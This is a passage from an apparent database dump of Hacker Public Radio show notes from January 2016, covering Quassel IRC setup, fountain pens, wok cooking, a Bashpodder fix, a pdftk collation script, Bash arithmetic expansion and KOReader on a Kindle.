facility<br />\r\n\"Johnny Law\" = Law Enforcement<br />\r\n\"C-Note\" = $100.00 bill<br />\r\n\"Speakeasy\" = illegal drinking establishment in prohibition era United States<br />\r\n\"68 Chevelle\" = 1968 Chevrolet 2-door automobile<br />\r\n\"Ratting me out\" = informing on someone<br />\r\n\"Frank Nitty\" = 30\'s era Gangster, Al Capon\'s right hand man (Enforcer)<br />\r\n\r\nDisclaimer:<br />\r\n\r\nAll characters are fictitious renditions of HPR contributers.<br />\r\nNothing about any individuals character is based on anything other than my personal convenience of using their likenesses in fictitious storytelling.<br />\r\nNo disrespect is intended in any way.<br />\r\n\r\nThe genre that the character A Shadowy Figure lives in is hard boiled Noir.<br />\r\nNoir reflects a past history that had different standards than we do now.<br />\r\nI do not personally hold those antiquated world views. Nor do I promote them through this work of fiction. I would like to think this artistic creation does provide an opportunity to see how far we\'ve come as a society.<br />\r\n\r\nBut most of all, I\'d like to think that you the listener, are entertained and/or inspired by this presentation.<br />\r\n\r\nThank you all for your support.<br />\r\n\r\nA Shadowy Figure\r\n',308,0,0,'CC-BY-SA','Meegopad',0,0,1),
(1945,'2016-01-15','The Quassel IRC System',1395,'Quassel is an IRC client that routes your open chat windows into one connection to the IRC server','<p>Quassel is a centralized IRC hub that allows several client computers to appear as only one connection to the IRC server, i.e. Freenode. About the same time NYBill posted Episode 1869 &quot;IRSSI Connectbot&quot;, I was wondering how to merge all my simultaneous IRC connections from multiple hosts to the same channel on the same server into one connection. I did a search on &quot;GUI front end IRSSI&quot; and came up with Quassel instead. I think NYBill and I are trying to solve pretty much the same problem. I\'m not trying to say my solution is better than NYBill\'s, I\'m just saying it\'s the one that appeals the most to me.</p>\r\n<p><strong>Problem</strong>: IRC servers (or at least Freenode) do not allow simultaneous connection from multiple hosts using the same user identifier. I.E., if I was logged in on the PC on my desk via XChat as FiftyOneFifty, if at the same time I was connected to IRC via a PC on the kitchen counter, I would have to use &quot;Kitchen5150&quot; as my identifier. If I was away from home, but left a computer connected to IRC back home, if I connected againover Android I\'d have to be Andro5150. I could adopt all these other personas as aliases, which protected them from theft and allowed me to still have admin rights on channels where I was admin depite using a different login. These multiple versions of me running in IRC inevitably lead to confusion about which was the &quot;real&quot; FiftyOneFifty, a situation which MrJackson is all too familiar with, I\'m sure.</p>\r\n<p><strong>IRSSI Solution</strong>: Connect to a server via ssh, then login into IRC using the IRSSI terminal client inside a GNU screen or TMUX session. When moving between local hosts, disconnect from the current screen or tmux session, ssh into the server from the new host, and reconnect to the session running irssi. The irssi ncurses interface may not be as pretty or easy for some users as a GUI, but I understand it is quite functional.</p>\r\n<p><strong>Quassel Solution</strong>: Connect to IRC server via a single host running quassel-core. Connect multiple simultaneous clients to the core via quassel-client. All clients share the same IRC display at the same time, all the while transparent to the server (i.e. Freenode), which only sees the one login from the host running quassel-core.</p>\r\n<p>There are two components two this system, quassel-core and quassel-client. You want to install quassel-core on to a system with a persistent Internet connection, say a home or cloud server. I first used Arch on and RPI model 2, so quassle-core setup for Arch may be found here: <a href=\"https://wiki.archlinux.org/index.php/Quassel\" class=\"uri\">https://wiki.archlinux.org/index.php/Quassel</a> .</p>\r\n<p>A. Install the core</p>\r\n<ol type=\"1\">\r\n<li><p>Install quassel-core on the server [sudo pacman -S quassel-core]</p></li>\r\n<li><p>Generate a certificate</p></li>\r\n<li><p>Start core (i.e. sudo systemctl start quassel)</p></li>\r\n<li><p>Enable quassel on every startup (sudo systemctl enable quassel)</p>\r\n<ul>\r\n<li>There is something in the wiki about a but preventing the enable fundction from working. &quot;systemctl enable&quot; just creates a sysmlink into the proper startup directory, so the wiki replaces it with a copy command &quot;cp /usr/lib/systemd/system/quassel.service /etc/systemd/system/&quot;</li>\r\n</ul></li>\r\n<li><p>Set up Port Forwarding on your router. I suggest you use an external port other than the default 4242 (Security Through Obscurity, see my Port Forwarding episode).</p></li>\r\n</ol>\r\n<p>All the configuration is done by the client!</p>\r\n<p>B. Install quassel-client</p>\r\n<ol type=\"1\">\r\n<li><p>All you need to connect is an IP address and the external port number. The first account you create will be master and the only account with the ability to create other users. In other words, if someone else had your server\'s IP address and the port Quassel-core is listening on, they could beat you to establishing a master account and controll Quassel on your server.</p></li>\r\n<li><p>Once you have established a connection to a core and set your password, you can set up the default IRC servers and channels. It\'s a GUI interface, so I\'m not going to walk you through the menus and various inputs. I only had success setting up one IRC server (Freenode) in the initial setup on the first client (as you connect addition clients, you will find your channels are already configured), and then only if I avoided ssl connections. Channels are entered into a list in the normal way (#channel_1, #channel_2, etc), but once you connect to a server, /join commands become persistant. I added a second IRC server, tllts, once I finished the initial setup.</p></li>\r\n</ol>\r\n<p>The user interface is similar to XChat,but not quite as polished.</p>\r\n<ol type=\"1\">\r\n<li><p>You get popup notifications when someone uses your handle in a chat, but scrolling back to find it, rather than being in a different color, it shows up in a garish reverse text. Easier to spot, but not as eligant.</p></li>\r\n<li><p>No way to search back posts for your handle or anything else.</p></li>\r\n<li><p>Links posted by others only have &quot;copy this link function&quot;, not &quot;open this link in default browser&quot;</p></li>\r\n<li><p>I don\'t seem to have spellchecking enabled in my IRC client. I discovered spell checkwas central in Linux, rather than every app having it\'s own version (i.e. I assume FireFox under Windows has it\'s own spellcheck libraries as Office has it\'s own library). I wonder if I installed hunspell on the Quassel core server, if I would suddenly get spellcheck ( <a href=\"https://hackerpublicradio.org/eps.php?id=1356\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1356</a> ).</p></li>\r\n</ol>\r\n<p>There is a perfectly adequate Android client for Quassel. Like AndChat, YAAIC, and the others, it seems to drop the connection unless you actively participating, but since the server is persistent, you never miss out on what was said while your client was disconnected.</p>\r\n<p>The last time I was awy for the weekend, I shut off all my PC\'s and network devices. One drawback of a local Quassel server would be my LAN and Quassel Core server would need to be up even when I was away from home.</p>\r\n<p>Migrating Quassel from my local server to the cloud: About a week after I\'d set up Quassel, a buddy anounced he had secured a Digital Ocean Droplet ($5 a month, limited storage, limited bandwidth). He was open to letting his friends use the service, as long as their requirements were low impact. I jumped on the oppurtunity to move my quassel-core over to the &quot;cloud&quot;. Remember the five and a half steps to setting up quassel-core under Arch? According to my friend who manages the Digital Ocean Droplet running Ubuntu Server, it was pretty much &quot;sudo aptitude install quassel-core&quot;. Once the core was running I then configured the new core from one of the clients (i.e., pointed quassel-client to a new IP and port number, then created an account and password). Since I was on a new server, I had to set up connections my IRC channels again. After that, every client I migrated to the new core inherited those channels from the server. A week or so after moving the core to the cloud, I came home to find my Internet had been down for a few hours. Cycling the power on the ISPs tranceiver and my router fixed my Internet connection, and since Digital Ocean had experienced no interruption, I was still able to scroll back to the five hours of IRC I missed.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://wiki.archlinux.org/index.php/Quassel\" class=\"uri\">https://wiki.archlinux.org/index.php/Quassel</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1356\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1356</a></li>\r\n</ul>',131,0,0,'CC-BY-SA','Quassel,IRC quassel-client,quassel-core',0,0,1),
(1941,'2016-01-11','What\'s in my case',1976,'I\'m a fountain pen enthusiast; here\'s what\'s in my pen case','<h1 id=\"whats-in-my-case\">What\'s in my case</h1>\r\n<p>I\'m a fountain pen geek and I thought I\'d share my geekiness on HPR in case there are any other <em>FPGeeks</em> out there.</p>\r\n<p>I have a pen case which I bought from China through eBay, and so I felt that this allowed me to add this show to the \'<em>What\'s in my ...</em>\' series.</p>\r\n<p>I have written out a long set of notes to accompany this episode and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr1941/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1941/full_shownotes.html</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Wikipedia article on the <em>Dip pen</em>: <a href=\"https://en.wikipedia.org/wiki/Dip_pen\" class=\"uri\">https://en.wikipedia.org/wiki/Dip_pen</a></li>\r\n<li>Wikipedia article on <em>Blotting paper</em>: <a href=\"https://en.wikipedia.org/wiki/Blotting_paper\" class=\"uri\">https://en.wikipedia.org/wiki/Blotting_paper</a></li>\r\n<li>Wikipedia article on the <em>Inkwell</em>: <a href=\"https://en.wikipedia.org/wiki/Inkwell\" class=\"uri\">https://en.wikipedia.org/wiki/Inkwell</a></li>\r\n<li>Marion Richardson: <a href=\"https://en.wikipedia.org/wiki/Marion_Richardson\" class=\"uri\">https://en.wikipedia.org/wiki/Marion_Richardson</a></li>\r\n<li><em>The return of the fountain pen</em> from The Spectator: <a href=\"https://new.spectator.co.uk/2015/03/the-return-of-the-fountain-pen/\" class=\"uri\">https://new.spectator.co.uk/2015/03/the-return-of-the-fountain-pen/</a></li>\r\n<li>BBC News 2006 &quot;<em>Fountain pens boost \'self-esteem\'</em>&quot;: <a href=\"https://news.bbc.co.uk/1/hi/scotland/edinburgh_and_east/6143844.stm\" class=\"uri\">https://news.bbc.co.uk/1/hi/scotland/edinburgh_and_east/6143844.stm</a></li>\r\n<li>Glossary of fountain pen terminology - <em>Goulet Pens</em>: <a href=\"https://blog.gouletpens.com/2014/01/glossary-of-fountain-pen-terminology.html\" class=\"uri\">https://blog.gouletpens.com/2014/01/glossary-of-fountain-pen-terminology.html</a></li>\r\n<li><em>Glossopedia of Pen Terms</em> - RichardsPens: <a href=\"https://www.richardspens.com/ref/glossary/00_gls.htm\" class=\"uri\">https://www.richardspens.com/ref/glossary/00_gls.htm</a></li>\r\n<li>Pelikan 215: <a href=\"https://www.pelikan.com/pulse/Pulsar/en_SG.FWI.displayShop.107252./classic-215-rhomb\" class=\"uri\">https://www.pelikan.com/pulse/Pulsar/en_SG.FWI.displayShop.107252./classic-215-rhomb</a></li>\r\n<li>Wikipedia article on the <em>Pelikan</em> company: <a href=\"https://en.wikipedia.org/wiki/Pelikan\" class=\"uri\">https://en.wikipedia.org/wiki/Pelikan</a></li>\r\n<li>TWSBI Inc. website: <a href=\"https://www.twsbi.com/\" class=\"uri\">https://www.twsbi.com/</a></li>\r\n<li>Noodler\'s Ink website: <a href=\"https://noodlersink.com/\" class=\"uri\">https://noodlersink.com/</a></li>\r\n<li>Review of Reform 1745 by S.B.R.E.Brown: <a href=\"https://www.youtube.com/watch?v=Dxbn3DwxfDg\" class=\"uri\">https://www.youtube.com/watch?v=Dxbn3DwxfDg</a></li>\r\n<li>Wikipedia article on the <em>Pilot</em> pen company: <a href=\"https://en.wikipedia.org/wiki/Pilot_%28pen_company%29\">https://en.wikipedia.org/wiki/Pilot_%28pen_company%29</a></li>\r\n<li>J. Herbin website: <a href=\"https://www.jherbin.com/\" class=\"uri\">https://www.jherbin.com/</a></li>\r\n<li><em>Fountain Pen Paper Recommendations</em> from JetPens: <a href=\"https://www.jetpens.com/blog/fountain-pen-paper-recommendations/pt/730\" class=\"uri\">https://www.jetpens.com/blog/fountain-pen-paper-recommendations/pt/730</a></li>\r\n<li>Wikipedia article on <em>Fountain pen ink</em>: <a href=\"https://en.wikipedia.org/wiki/Fountain_pen_ink\" class=\"uri\">https://en.wikipedia.org/wiki/Fountain_pen_ink</a></li>\r\n</ul>',225,23,1,'CC-BY-SA','fountain pen,nib,ink,cartridge,piston fill,penmanship',0,0,1),
(1946,'2016-01-18','Wok Cookery',1237,'I prepare a vegetarian version of Chow Mein for my son\'s visit','<h1 id=\"wok-cookery\">Wok Cookery</h1>\r\n<p>Not for the first time I\'m following in the footsteps of Frank Bell. Frank did an HPR episode entitled &quot;<em><a href=\"https://hackerpublicradio.org/eps.php?id=1787\" title=\"A Beginner with a Wok (Frank Bell)\">A Beginner with a Wok</a></em>&quot;, episode number 1787, on 2015-06-09. On it he spoke about his experiences stir-fry cooking using a wok.</p>\r\n<p>Frank got a lot of comments about his episode and there seemed to be an interest in the subject. I have been interested in Chinese, Indonesian and other Far Eastern cookery styles for some time, and do a lot of cooking, so I thought I\'d record a show about one of the recipes I use.</p>\r\n<p>My son visits around once a week and eats dinner with me. I offered to cook him my version of Chow Mein, which since he is vegetarian, needed to use no meat. This is my description of the recipe I used.</p>\r\n<p>I loosely based this version of Chow Mein on <a href=\"https://en.wikipedia.org/wiki/Ken_Hom\" title=\"Ken Hom\">Ken Hom\'s</a> recipe in his book <em>Chinese Cookery</em>, page 226. This is from his 1984 BBC TV series, which I watched. I also learnt many of my preparation techniques from Ken Hom\'s books and TV shows.</p>\r\n<p>I have written out a long set of notes to accompany this episode and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr1946/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1946/full_shownotes.html</a>.</p>\r\n<h2 id=\"note\">Note</h2>\r\n<p>Apologies for the sounds of a mouse scroll wheel in the audio. I was trying a new microphone position and didn\'t realise how sensitive it was to these sounds.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>HPR episode 1787, &quot;<em>A Beginner with a Wok</em>&quot;, by <em>Frank Bell</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1787\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1787</a></li>\r\n<li>Wikipedia article on <em>Ken Hom</em>: <a href=\"https://en.wikipedia.org/wiki/Ken_Hom\" class=\"uri\">https://en.wikipedia.org/wiki/Ken_Hom</a></li>\r\n<li><em>Ken Hom\'s Chinese Cookery</em>:\r\n<ul>\r\n<li>1986 edition (ISBN-13: 978-0060960599): <a href=\"https://www.amazon.com/Ken-Homs-Chinese-Cookery-Hom/dp/0060960590\" class=\"uri\">https://www.amazon.com/Ken-Homs-Chinese-Cookery-Hom/dp/0060960590</a></li>\r\n<li>2009 edition (ISBN-13: 978-1846076053): <a href=\"https://www.amazon.co.uk/Chinese-Cookery-Ken-Hom/dp/1846076056/ref=tmm_pap_swatch_0?_encoding=UTF8&amp;qid=1450957458&amp;sr=1-15\" class=\"uri\">https://www.amazon.co.uk/Chinese-Cookery-Ken-Hom/dp/1846076056/ref=tmm_pap_swatch_0?_encoding=UTF8&amp;qid=1450957458&amp;sr=1-15</a></li>\r\n</ul></li>\r\n<li>Wikipedia article on the <em>Green bean</em>: <a href=\"https://en.wikipedia.org/wiki/Green_bean\" class=\"uri\">https://en.wikipedia.org/wiki/Green_bean</a></li>\r\n<li>Wikipedia page on <em>Mange tout</em>: <a href=\"https://en.wikipedia.org/wiki/Mange_tout\" class=\"uri\">https://en.wikipedia.org/wiki/Mange_tout</a></li>\r\n<li>Wikipedia page on the <em>Snow pea</em>: <a href=\"https://en.wikipedia.org/wiki/Snow_pea\" class=\"uri\">https://en.wikipedia.org/wiki/Snow_pea</a></li>\r\n<li>Wikipedia article on <em>Agaricus bisporus</em>, the <em>Chestnut mushroom</em>: <a href=\"https://en.wikipedia.org/wiki/Agaricus_bisporus\" class=\"uri\">https://en.wikipedia.org/wiki/Agaricus_bisporus</a></li>\r\n<li>Wikipedia article on the <em>Bean sprout</em>: <a href=\"https://en.wikipedia.org/wiki/Bean_sprout\" class=\"uri\">https://en.wikipedia.org/wiki/Bean_sprout</a></li>\r\n<li>Wikipedia article on <em>Quorn</em>: <a href=\"https://en.wikipedia.org/wiki/Quorn\" class=\"uri\">https://en.wikipedia.org/wiki/Quorn</a></li>\r\n<li>Lao Gan Ma website: <a href=\"https://m.laoganma.com.cn/product.aspx\" class=\"uri\">https://m.laoganma.com.cn/product.aspx</a></li>\r\n<li>Wikipedia page for <em>Lao Gan Ma</em>: <a href=\"https://en.wikipedia.org/wiki/Lao_Gan_Ma\" class=\"uri\">https://en.wikipedia.org/wiki/Lao_Gan_Ma</a></li>\r\n</ul>\r\n',225,93,1,'CC-BY-SA','cooking,wok,stir-fry,chow mein,noodles,Quorn',0,0,1),
(1935,'2016-01-01','Quick Bashpodder Fix',578,'Charles in NJ returns with a short show to discuss a fix he made to Bashpodder.','<p>\r\nBashpodder is a great Bash script for downloading the latest episodes of podcasts and other media from their feeds.\r\n</p>\r\n<p>\r\nThere are a few feeds that are not handled properly by Bashpodder, namely, the TED Talks podcast feed and the NPR digest show called the TED Radio Hour.\r\n</p>\r\n<p>\r\nThe URLs for the audio files have a number of additional fields at the end of the string after the media file name, and Bashpodder picks up the last field as if it were the media file name for the show. So every TED Radio Hour episode is called \"510298\". If you download more than one episode at a time, only the last episode to be saved will survive. Each new file clobbers the last one, because they all get the same filename.\r\n</p>\r\n<p>\r\nCharles in NJ made a simple fix to Bashpodder.shell to correct this problem, and he shares it in this episode.\r\n</p>\r\n\r\n<h3>Links:</h3>\r\n\r\n<ul>\r\n<li>Bashpodder: <a href=\"https://lincgeek.org/bashpodder\">https://lincgeek.org/bashpodder</a>\r\n</li>\r\n<li>TED Talks: <a href=\"https://blog.ted.com/audio_podcasts/\">https://blog.ted.com/audio_podcasts/</a>\r\n</li>\r\n<li>TED Radio Hour:  <a href=\"https://www.npr.org/podcasts/510298/ted-radio-hour\">https://www.npr.org/podcasts/510298/ted-radio-hour</a>\r\n</li>\r\n</ul>\r\n\r\n<h3>Additional Resources:</h3>\r\n\r\n<ol>\r\n<li>Original version of Bashpodder.shell <br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1935-bashpodder_original.shell\">https://hackerpublicradio.org/eps/hpr1935-bashpodder_original.shell</a>\r\n</li>\r\n<li>Revised version with fixes to pick up TED-related podcast files <br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1935-bashpodder.shell\">https://hackerpublicradio.org/eps/hpr1935-bashpodder.shell</a>\r\n</li>\r\n<li>Abbreviated example of bp.conf configuration file that tells Bashpodder what resources to fetch <br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1935-bp.conf\">https://hackerpublicradio.org/eps/hpr1935-bp.conf</a>\r\n</li>\r\n<li>Abbreviated example of podcast.log that shows how Bashpodder stores its history, including some sample TED links.<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1935-podcast.log\">https://hackerpublicradio.org/eps/hpr1935-podcast.log</a>\r\n</li>\r\n</ol>\r\n\r\n<p>\r\nHappy New Year from Charles in NJ. \r\n</p>',229,0,1,'CC-BY-SA','Bashpodder, podcast, bash, awk',0,0,1),
(1939,'2016-01-07','Collating Pages with pdftk',934,'I describe how to collate the pages of two separate PDF files using pdftk','<p>I\'m moving into my new office at work, and among many things I had to move are file boxes full of old class notes from graduate school. The academic hoarder in me doesn\'t want to recycle them&mdash;I might need these things again! I\'m scanning.</p>\r\n\r\n<p>I\'ve inherited an excellent scanner/copier with a feeder that lets you scan stacks of pages with one click. This works great for single-sided documents, but most of my handwritten notes are double-sided. I scan one side, then turn the stack over and scan the other side, and I end up with two PDFs for a single stack of pages&mdash;one with the front pages and the other with back pages in reverse order. The difficulty is to collate the pages of those two files so that the front and back sides appear in a single PDF in the correct order. Sounds like a job for a shell script!</p>\r\n\r\n<p>The script takes two CLI arguments. The first argument is the PDF containing front pages, and the second is the PDF of the back pages.</p>\r\n\r\n<p>The first job is take the backsides and reverse the page order, because they were scanned in last-page-to-first. This is very easy with <code>pdftk</code>:</p>\r\n\r\n<pre>pdftk back.pdf cat end-1 output backfix.pdf</pre>\r\n\r\n<p>Now that the pages are all in the correct order it\'s time to collate them. We\'re going to use the <code>burst</code> function of the PDF toolkit to explode each of the two PDFs into separate pages. After that, we recombine the separate pages in the correct order. The trick is finding a way to do this efficiently. In concept, it\'s not hard to collate pages in whatever order you want after they\'ve been burst. You simply keep giving <code>pdftk</code> CLI arguments for all of the files you want to combine and then output them as a single file. However, if you have 40 or 50 pages, it\'s extremely tedious to provide that many CLI args one at a time. This must be automated!</p>\r\n\r\n<p>The way I figured out how to do this was to ensure that the <code>burst</code> command would output files that would appear in the correct order automatically when using the <code>ls</code> command inside the working directory. The <code>burst</code> command automatically numbers the output files, but you can specify certain filename formatting parameters if you want to. I chose a format that would begin the filename with the numerical page count in at least three digits with leading zeros (001, 002, etc), followed by an underscore and either the word \"front\" for the front pages or \"reverse\" for the back pages.</p>\r\n\r\n<p>So here are the <code>burst</code> commands:</p>\r\n\r\n<pre>\r\npdftk front.pdf burst output %03d_front.pdf\r\npdftk backfix.pdf burst output %03d_reverse.pdf\r\n</pre>\r\n\r\n<p>At this point a bunch of new files appear, looking something like this: </p>\r\n\r\n<pre>\r\n001_front.pdf\r\n001_reverse.pdf\r\n002_front.pdf\r\n002_reverse.pdf\r\n003_front.pdf\r\n003_reverse.pdf\r\n...\r\n</pre>\r\n\r\n<p>Notice how the front and back pages all appear in the correct order? Now, instead of typing in the filename for every page, we can use the output of the <code>ls</code> command, filtering out any files not beginning with numbers.</p>\r\n\r\n<pre>pdftk $(ls |grep ^[0-9]) cat output collated.pdf</pre>\r\n\r\n<p>And it\'s done. The entire script loks like this:</p>\r\n\r\n<pre>\r\n#!/bin/bash\r\n\r\n# Requires: pdftk\r\n\r\nfront=$(readlink -f &quot;$1&quot;)\r\nback=$(readlink -f &quot;$2&quot;)\r\nbasedir=$(dirname $front) \r\nstem=$(basename $back .pdf)\r\nbackfix=&quot;$stem&quot;-fixed.pdf\r\nnew=$(basename $front .pdf | sed -e \'s/[Ff]ront/Combined/\')\r\n\r\ncd $basedir\r\npdftk $back cat end-1 output $backfix &amp;&gt; /dev/null\r\npdftk $front burst output %03d_front.pdf &amp;&gt; /dev/null\r\npdftk $backfix burst output %03d_reverse.pdf &amp;&gt; /dev/null\r\npdftk $(ls |grep ^[0-9]) cat output &quot;$new&quot;.pdf\r\n</pre>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><code>pdftk</code> man page: <a href=\"https://www.pdflabs.com/docs/pdftk-man-page/\" rel=\"nofollow\">https://www.pdflabs.com/docs/pdftk-man-page/</a></li>\r\n	<li>My earlier HPR episode about <code>pdftk</code>: <a href=\"https://hackerpublicradio.org/eps.php?id=1760\">hpr1760</a></li>\r\n</ul>',238,0,0,'CC-BY-SA','pdftk, scripting, productivity, scanning, document management, pdf',0,0,1),
(1951,'2016-01-25','Some additional Bash tips',2424,'More about expansion in Bash: this time arithmetic expansion','<h1 id=\"some-additional-bash-tips\">Some additional Bash tips</h1>\r\n<h2 id=\"expansion\">Expansion</h2>\r\n<p>As we saw in the last episode <a href=\"https://hackerpublicradio.org/eps.php?id=1903\" title=\"Some further Bash tips\">1903</a> there are seven types of expansion applied to the command line in the following order:</p>\r\n<ul>\r\n<li>Brace expansion (we looked at this subject in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1884\" title=\"Some more Bash tips\">1884</a>)</li>\r\n<li>Tilde expansion (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1903\" title=\"Some further Bash tips\">1903</a>)</li>\r\n<li>Parameter and variable expansion (this was covered in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1648\" title=\"Bash parameter manipulation\">1648</a>)</li>\r\n<li>Command substitution (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1903\" title=\"Some further Bash tips\">1903</a>)</li>\r\n<li>Arithmetic expansion</li>\r\n<li>Word splitting</li>\r\n<li>Pathname expansion</li>\r\n</ul>\r\n<p>There is also another, <em>process substitution</em>, which occurs after <em>arithmetic expansion</em> on systems that can implement it.</p>\r\n<p>We will look at one more of these expansion types in this episode but since there is a lot to cover, we\'ll continue in a later episode.</p>\r\n<p>I have written out a moderately long set of notes about this subject and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr1951_full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1951_full_shownotes.html</a>.</p>\r\n<h3 id=\"audio-note\">Audio Note</h3>\r\n<p>This time, in the spirit of experimentation and as a way of learning Audacity I processed my audio thus:</p>\r\n<ul>\r\n<li><p>Turned the stereo tracks to mono</p></li>\r\n<li><p>Used a Noise Gate plug-in to reduce background noise (after &quot;training&quot; it on some silence)</p></li>\r\n<li><p>Performed a Truncate Silence pass to reduce the length of pauses</p></li>\r\n<li><p>Applied a small amount of amplification</p></li>\r\n</ul>\r\n<p>Let me know if this had any positive or negative effects on the end product.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Bash Reference Manual:\r\n<ul>\r\n<li>Arithmetic Expansion: <a href=\"https://www.gnu.org/software/bash/manual/html_node/Arithmetic-Expansion.html#Arithmetic-Expansion\" class=\"uri\">https://www.gnu.org/software/bash/manual/html_node/Arithmetic-Expansion.html#Arithmetic-Expansion</a></li>\r\n<li>Shell Arithmetic: <a href=\"https://www.gnu.org/software/bash/manual/html_node/Shell-Arithmetic.html#Shell-Arithmetic\" class=\"uri\">https://www.gnu.org/software/bash/manual/html_node/Shell-Arithmetic.html#Shell-Arithmetic</a></li>\r\n</ul></li>\r\n<li>HPR episode 1202 &quot;LiTS 025: bc&quot; hosted by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=7\">Dann Washko</a>: <a href=\"https://hackerpublicradio.org/eps.php?id=1202\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1202</a></li>\r\n<li>HPR episode 1648 &quot;<em>Bash parameter manipulation</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1648\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1648</a></li>\r\n<li>HPR episode 1843 &quot;<em>Some Bash tips</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1843\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1843</a></li>\r\n<li>HPR episode 1884 &quot;<em>Some more Bash tips</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1884\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1884</a></li>\r\n<li>HPR episode 1903 &quot;<em>Some further Bash tips</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1903\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1903</a></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,expansion,arithmetic expansion,shell arithmetic,number base',0,0,1),
(1949,'2016-01-21','The Kindle/Kobo Open Reader (KOReader)',1638,'I talk about installing an alternate ebook reader app on a jailbroken Kindle','<p>In this episode I talk about installing an alternate ebook reader app on your Kindle paperwhite. The one I\'m using is called the <a href=\"https://github.com/koreader/koreader/wiki\">Kindle/Kobo Open Reader</a> (KOReader), and it has many features that the stock Kindle reader does not have:</p>\r\n\r\n<ul>\r\n<li>Epub support</li>\r\n<li>Word-breaking hyphenation</li>\r\n<li>PDF reflow</li>\r\n<li>Take screenshot with diagonal swipe</li>\r\n<li>Export highlights to Evernote</li>\r\n<li>Fills more screen space</li>\r\n<li>User-installed fonts</li>\r\n</ul>\r\n\r\n<p>How to get it running:</p>\r\n\r\n<ul>\r\n<li>Jailbreak your Kindle, refer to <a href=\"https://www.mobileread.com/forums/showthread.php?t=186645\">this post</a>. Jailbreaking doesn\'t give you any new programs. What it does is unlock the potential of the device and allows you to install different launchers and applications.</li>\r\n<li>Install alternate launcher, such as <a href=\"https://www.mobileread.com/forums/showthread.php?t=203326\">KUAL</a>, the Kindle Unified Application Launcher. This is a framework that allows developers to create menu items that will launch applications on a jailbroken Kindle.</li>\r\n<li>Install KOreader. <a href=\"https://github.com/koreader/koreader/wiki/Installation-on-Kindle-devices\">Instructions</a></li>\r\n	<li>Install <a href=\"https://github.com/koreader/koreader/wiki/Dictionary-support\">Dictionary files</a> for whatever languages you want to have (optional)</li>\r\n	<li>install <a href=\"https://code.google.com/p/tesseract-ocr/downloads/list\">Tesseract language data</a> (optional)</li>\r\n</ul>\r\n\r\n<p>You can allow KOreader to take over styling of whatever book you\'re reading. If you don\'t like the style rules it applies, you can hack the epub CSS file located here: <code>/koreader/data/epub.css</code></p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://github.com/koreader/koreader/wiki\">KOreader Docs</a></li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','kindle, kobo, ebooks, epub, jailbreaking, rooting, ebook readers',0,0,1),
(1938,'2016-01-06','How I prepare HPR shows',1574,'I use my own tools for preparing my HPR shows. I talk about them in this episode','<h1 id=\"how-i-prepare-hpr-shows\">How I prepare HPR shows</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>I have been contributing shows to Hacker Public Radio since 2012. In those far off days (!) we sent everything in via FTP, and had to name the files with a combination of our host id, our name, the slot number and the title. The show notes had to contain a chunk of metadata in a defined format to signal all of the various attributes of the show. I found myself making numerous mistakes with this naming and metadata formatting and so started designing and writing some tools to protect myself from my own errors.</p>\r\n<p>I started developing a Bash script in mid-2013 which I called <code>hpr_talk</code>. I used Bash since I thought I might be able to make something with a small footprint that I could share, which might be useful to others. The script grew and grew and became increasingly complex and I found I needed to add other scripts to the toolkit and to resort to Perl and various Perl modules to perform some actions.</p>\r\n<p>Then in 2014 Ken changed the upload procedure to what it is now. This is a much better design and does away with the need to name files in odd ways and add metadata to them. However, this left my toolkit a bit high and dry, so I shelved the plans to release it.</p>\r\n<p>Since then I have been enhancing the <code>hpr_talk</code> toolkit, adding features that I found useful and removing bugs, until the present time. Now it is probably far too complex and idiosyncratic to be of direct use to others, and is rather too personalised to my needs to be easily shared. Nevertheless, it is available on <a href=\"https://gitlab.com/davmo/hpr-talk\" title=\"hpr_talk on GitLab\">GitLab</a> and I am going to describe it here in case it (or the methods used) might be of interest to anyone.</p>\r\n<p>I have written out a moderately long set of notes about this subject and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr1938_full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1938_full_shownotes.html</a>.</p>\r\n<h2 id=\"audio-notes\">Audio Notes</h2>\r\n<p>I had to record this in two parts. In the second part there was a constant background hum which I tried to remove. My removal process was not particularly successful I\'m afraid, so it cuts in and out. I\'m still learning how to do this sort of thing in Audacity!</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>My <em>hpr_talk</em> toolkit on 